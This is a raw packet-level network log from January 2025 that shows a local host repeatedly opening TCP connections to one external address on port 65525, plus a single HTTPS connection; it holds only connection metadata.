Jan 3, 2025 08:07:08.296525002 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:08.296690941 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:08.297172070 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:08.301465034 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:08.301969051 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:08.302011967 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:08.302031040 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:08.306788921 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:10.094357967 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:10.094500065 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:10.095099926 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:10.099242926 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:10.099893093 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:10.099956989 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:10.099991083 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:10.104717970 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:11.885204077 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:11.885407925 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:11.886034966 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:11.890670061 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:11.891752958 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:11.891834974 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:11.891907930 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:11.897334099 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:13.669514894 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:13.669744015 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:13.670608044 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:13.675533056 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:13.676084042 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:13.676139116 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:13.676167965 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:13.680871964 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:15.445192099 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:15.445410967 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:15.446019888 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:15.450284958 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:15.450870991 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:15.450958014 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:15.450973988 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:15.455770016 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:17.228998899 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:17.229368925 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:17.229918957 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:17.234170914 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:17.234781981 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:17.234873056 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:17.234911919 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:17.239737988 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:19.011910915 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:19.012255907 CET	53078	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:19.012839079 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:19.017046928 CET	65525	53078	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:19.017605066 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:19.017700911 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:19.017700911 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:19.022511959 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:20.792849064 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:20.793154955 CET	53080	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:20.793708086 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:20.797969103 CET	65525	53080	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:20.798541069 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:20.798641920 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:20.798660040 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:20.803528070 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:22.572639942 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:22.572813988 CET	53082	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:22.573301077 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:22.578818083 CET	65525	53082	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:22.579092026 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:22.579178095 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:22.579178095 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:22.583965063 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:24.355045080 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:24.355398893 CET	53084	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:24.356110096 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:24.360255957 CET	65525	53084	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:24.360856056 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:24.360917091 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:24.360986948 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:24.365806103 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:26.156894922 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:26.157126904 CET	53086	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:26.157941103 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:26.161940098 CET	65525	53086	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:26.162817955 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:26.162893057 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:26.162960052 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:26.167731047 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:27.927694082 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:27.928061962 CET	53088	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:27.928833008 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:27.932809114 CET	65525	53088	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:27.933548927 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:27.933614016 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:27.933680058 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:27.938462973 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:29.724627018 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:29.724983931 CET	53090	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:29.725825071 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:29.729798079 CET	65525	53090	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:29.730634928 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:29.730715990 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:29.730789900 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:29.735518932 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:31.511864901 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:31.512048006 CET	53092	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:31.512671947 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:31.516943932 CET	65525	53092	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:31.517503977 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:31.517564058 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:31.517616034 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:31.522447109 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:33.292610884 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:33.292776108 CET	53094	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:33.293313026 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:33.297542095 CET	65525	53094	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:33.298170090 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:33.298219919 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:33.298259974 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:33.303000927 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:35.078267097 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:35.078421116 CET	53096	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:35.078963995 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:35.083338022 CET	65525	53096	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:35.083789110 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:35.083837032 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:35.083888054 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:35.088634968 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:36.856024981 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:36.856194973 CET	53098	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:36.856708050 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:36.861179113 CET	65525	53098	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:36.861514091 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:36.861561060 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:36.861582994 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:36.866379023 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:37.926244974 CET	43928	443	192.168.2.23	91.189.91.42
Jan 3, 2025 08:07:38.631561995 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:38.631820917 CET	53100	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:38.632534981 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:38.636619091 CET	65525	53100	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:38.637379885 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:38.637440920 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:38.637501001 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:38.642287016 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:40.419786930 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:40.420165062 CET	53102	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:40.420911074 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:40.424973011 CET	65525	53102	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:40.425744057 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:40.425867081 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:40.425867081 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:40.430654049 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:42.177938938 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:42.178330898 CET	53104	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:42.179169893 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:42.183099031 CET	65525	53104	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:42.183952093 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:42.184034109 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:42.184077024 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:42.188882113 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:43.971157074 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:43.971565008 CET	53106	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:43.972372055 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:43.976413012 CET	65525	53106	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:43.977112055 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:43.977197886 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:43.977241039 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:43.982011080 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:45.743248940 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:45.743832111 CET	53108	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:45.744662046 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:45.748672009 CET	65525	53108	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:45.749492884 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:45.749577045 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:45.749633074 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:45.754388094 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:47.527261972 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:47.527617931 CET	53110	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:47.528439045 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:47.532488108 CET	65525	53110	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:47.533245087 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:47.533302069 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:47.533354998 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:47.538153887 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:49.329555035 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:49.329895973 CET	53112	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:49.330689907 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:49.334695101 CET	65525	53112	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:49.335527897 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:49.335585117 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:49.335663080 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:49.340384960 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:51.120512962 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:51.120754957 CET	53114	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:51.121555090 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:51.125555038 CET	65525	53114	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:51.126332998 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:51.126420021 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:51.126463890 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:51.131202936 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:52.903496981 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:52.903853893 CET	53116	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:52.904582024 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:52.908684969 CET	65525	53116	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:52.909312963 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:52.909399986 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:52.909441948 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:52.914221048 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:54.682116032 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:54.682492018 CET	53118	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:54.683279037 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:54.688357115 CET	65525	53118	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:54.688905001 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:54.688994884 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:54.689047098 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:54.694521904 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:56.484642982 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:56.485038042 CET	53120	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:56.485857010 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:56.489869118 CET	65525	53120	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:56.490611076 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:56.490698099 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:56.490755081 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:56.495543957 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:58.300045967 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:58.300460100 CET	53122	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:58.301292896 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:58.305191040 CET	65525	53122	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:58.306026936 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:07:58.306116104 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:58.306170940 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:07:58.310899973 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:00.095299006 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:00.095885038 CET	53124	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:00.096651077 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:00.100680113 CET	65525	53124	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:00.101417065 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:00.101505041 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:00.101561069 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:00.106395006 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:01.865739107 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:01.866022110 CET	53126	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:01.866856098 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:01.870790005 CET	65525	53126	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:01.871608973 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:01.871700048 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:01.871738911 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:01.876466990 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:03.656682014 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:03.657109022 CET	53128	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:03.657813072 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:03.661874056 CET	65525	53128	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:03.662638903 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:03.662714005 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:03.662774086 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:03.667562962 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:05.427757978 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:05.427926064 CET	53130	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:05.428493977 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:05.432750940 CET	65525	53130	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:05.433281898 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:05.433337927 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:05.433362007 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:05.438086033 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:07.193834066 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:07.194098949 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:07.194149971 CET	53132	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:07.194891930 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:07.198929071 CET	65525	53132	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:07.199615002 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:07.199677944 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:07.199733019 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:07.204489946 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:08.992980003 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:08.993191004 CET	53134	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:08.994044065 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:08.997972012 CET	65525	53134	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:08.998928070 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:08.999006033 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:08.999058962 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:09.004066944 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:10.779782057 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:10.779938936 CET	53136	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:10.780494928 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:10.784749031 CET	65525	53136	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:10.785331964 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:10.785424948 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:10.785424948 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:10.790211916 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:12.578643084 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:12.578826904 CET	53138	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:12.579355955 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:12.583688974 CET	65525	53138	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:12.584193945 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:12.584244013 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:12.584266901 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:12.589035988 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:14.356857061 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:14.356992006 CET	53140	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:14.357553005 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:14.361792088 CET	65525	53140	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:14.362371922 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:14.362421989 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:14.362441063 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:14.367209911 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:16.156810045 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:16.157130957 CET	53142	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:16.157907009 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:16.161911964 CET	65525	53142	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:16.162666082 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:16.162734032 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:16.162811995 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:16.167572021 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:17.930308104 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:17.930654049 CET	53144	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:17.931444883 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:17.935516119 CET	65525	53144	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:17.936393976 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:17.936439991 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:17.936470032 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:17.941230059 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:19.699281931 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:19.699543953 CET	53146	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:19.700325966 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:19.704278946 CET	65525	53146	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:19.705108881 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:19.705219030 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:19.705292940 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:19.714359999 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:21.481312990 CET	65525	53148	212.64.199.97	192.168.2.23
Jan 3, 2025 08:08:21.481493950 CET	53148	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:08:21.482049942 CET	53150	65525	192.168.2.23	212.64.199.97
